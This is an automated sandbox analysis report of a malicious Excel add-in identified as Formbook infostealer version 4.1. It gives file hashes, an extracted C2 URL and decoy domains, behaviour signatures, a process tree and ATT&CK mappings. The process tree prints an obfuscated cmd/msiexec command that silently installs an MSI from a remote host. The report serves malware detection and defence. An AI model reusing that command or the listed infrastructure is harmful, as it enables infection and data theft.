Analysis

  • max time kernel
    150s
  • max time network
    140s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    05-05-2021 13:38

General

  • Target

    sp.xlam

  • Size

    15KB

  • MD5

    399563af4221cc2c176d8f218d6a563d

  • SHA1

    72251218c8127abeab4c04944445c18bdac2688f

  • SHA256

    cc9cefa7960d991d414051f5fe153ffa514a2e687143dd2b1b6966edbbcadbec

  • SHA512

    bb0aef3126bc94f5bc32bddc96b4c6720b4eeeaa91c1a80c95039d4c88871fdc33ceef7cd579bd00d4acbc62987f9e6c0fa7efa08de81e4a4db8194f81f6ebea

Malware Config

Extracted

Family

formbook

Version

4.1

C2

http://www.111bjs.com/ccr/

Decoy

abdullahlodhi.com

jevya.com

knoxvillerestaurant.com

mekarauroko7389.com

cricketspowder.net

johannchirinos.com

orangeorganical.com

libero-tt.com

lorenaegianluca.com

wintab.net

modernmillievintage.com

zgdqcyw.com

jeffabildgaardmd.com

nurulfikrimakassar.com

findyourchef.com

innovationsservicegroup.com

destek-taleplerimiz.com

whfqqco.icu

kosmetikmadeingermany.com

dieteticos.net

Signatures

  • Formbook

    Formbook is a data stealing malware which is capable of stealing data.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Formbook Payload 2 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Use of msiexec (install) with remote resource 1 IoCs
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • NSIS installer 6 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Modifies data under HKEY_USERS 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 31 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 50 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1208
    • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
      "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\sp.xlam
      2⤵
      • Enumerates system info in registry
      • Modifies Internet Explorer settings
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1040
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C m^SiE^x^e^c /i http://farm-finn.com//admin/56701.msi /qn
        3⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1792
        • C:\Windows\SysWOW64\msiexec.exe
          mSiExec /i http://farm-finn.com//admin/56701.msi /qn
          4⤵
          • Use of msiexec (install) with remote resource
          • Suspicious use of AdjustPrivilegeToken
          PID:1688
    • C:\Windows\SysWOW64\systray.exe
      "C:\Windows\SysWOW64\systray.exe"
      2⤵
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:652
      • C:\Windows\SysWOW64\cmd.exe
        /c del "C:\Windows\Installer\MSI2243.tmp"
        3⤵
          PID:2044
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Blocklisted process makes network request
      • Enumerates connected drives
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:608
      • C:\Windows\Installer\MSI2243.tmp
        "C:\Windows\Installer\MSI2243.tmp"
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of SetThreadContext
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of WriteProcessMemory
        PID:1468
        • C:\Windows\Installer\MSI2243.tmp
          "C:\Windows\Installer\MSI2243.tmp"
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          PID:1320

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    Query Registry

    2
    T1012

    Peripheral Device Discovery

    1
    T1120

    System Information Discovery

    3
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Windows\Installer\MSI2243.tmp
      MD5

      c143786765f282d07d418fe98d4fe91a

      SHA1

      d3bbaa15dfe972e30bac4687d4fb1a96185e0bc8

      SHA256

      c26dc231fde9a811c06eb82b7292892eb0db1ff3d45eeec55bc2a74944f39ac6

      SHA512

      14af7f19f4e01949121832585fad1e7fec752cf91083126bf7fddf4ccd5d85aac4ca7bcd7b377b4f1a0a814db5f15f2f7172b4290e0ea1c260950d128a3e13bf

    • C:\Windows\Installer\MSI2243.tmp
      MD5

      c143786765f282d07d418fe98d4fe91a

      SHA1

      d3bbaa15dfe972e30bac4687d4fb1a96185e0bc8

      SHA256

      c26dc231fde9a811c06eb82b7292892eb0db1ff3d45eeec55bc2a74944f39ac6

      SHA512

      14af7f19f4e01949121832585fad1e7fec752cf91083126bf7fddf4ccd5d85aac4ca7bcd7b377b4f1a0a814db5f15f2f7172b4290e0ea1c260950d128a3e13bf

    • C:\Windows\Installer\MSI2243.tmp
      MD5

      c143786765f282d07d418fe98d4fe91a

      SHA1

      d3bbaa15dfe972e30bac4687d4fb1a96185e0bc8

      SHA256

      c26dc231fde9a811c06eb82b7292892eb0db1ff3d45eeec55bc2a74944f39ac6

      SHA512

      14af7f19f4e01949121832585fad1e7fec752cf91083126bf7fddf4ccd5d85aac4ca7bcd7b377b4f1a0a814db5f15f2f7172b4290e0ea1c260950d128a3e13bf

    • \Users\Admin\AppData\Local\Temp\nsi22EE.tmp\xdqurci0.dll
      MD5

      42b244a4f9d3af1a2788452e5507b0be

      SHA1

      4f59185e37d87cf7d4a0c43bc4f26b092c21e4bf

      SHA256

      14ade88d57789eb08d264b56ff0b46317452e50702285aff672ff12768e45c4f

      SHA512

      df0b5fc0fa680ff5ef849e3c9c312e07e4d741054dba3a9c9a7c05cfc2b99fba09776e864494a579cc34ba985c431d22de9917836cb38d1de05b9aea93fb55fa

    • memory/608-65-0x000007FEFBA81000-0x000007FEFBA83000-memory.dmp
      Filesize

      8KB

    • memory/652-78-0x0000000000000000-mapping.dmp
    • memory/652-83-0x0000000000370000-0x0000000000403000-memory.dmp
      Filesize

      588KB

    • memory/652-82-0x0000000000B20000-0x0000000000E23000-memory.dmp
      Filesize

      3.0MB

    • memory/652-81-0x00000000000C0000-0x00000000000EE000-memory.dmp
      Filesize

      184KB

    • memory/652-80-0x0000000000E70000-0x0000000000E75000-memory.dmp
      Filesize

      20KB

    • memory/1040-61-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1040-60-0x0000000071191000-0x0000000071193000-memory.dmp
      Filesize

      8KB

    • memory/1040-59-0x000000002F821000-0x000000002F824000-memory.dmp
      Filesize

      12KB

    • memory/1208-77-0x0000000004D30000-0x0000000004E7C000-memory.dmp
      Filesize

      1.3MB

    • memory/1208-84-0x0000000004EA0000-0x0000000004FBA000-memory.dmp
      Filesize

      1.1MB

    • memory/1320-74-0x0000000000400000-0x000000000042E000-memory.dmp
      Filesize

      184KB

    • memory/1320-75-0x0000000000900000-0x0000000000C03000-memory.dmp
      Filesize

      3.0MB

    • memory/1320-76-0x0000000000340000-0x0000000000354000-memory.dmp
      Filesize

      80KB

    • memory/1320-72-0x000000000041EBB0-mapping.dmp
    • memory/1468-66-0x0000000000000000-mapping.dmp
    • memory/1468-71-0x00000000003D0000-0x00000000003D2000-memory.dmp
      Filesize

      8KB

    • memory/1688-64-0x0000000074F31000-0x0000000074F33000-memory.dmp
      Filesize

      8KB

    • memory/1688-63-0x0000000000000000-mapping.dmp
    • memory/1792-62-0x0000000000000000-mapping.dmp
    • memory/2044-79-0x0000000000000000-mapping.dmp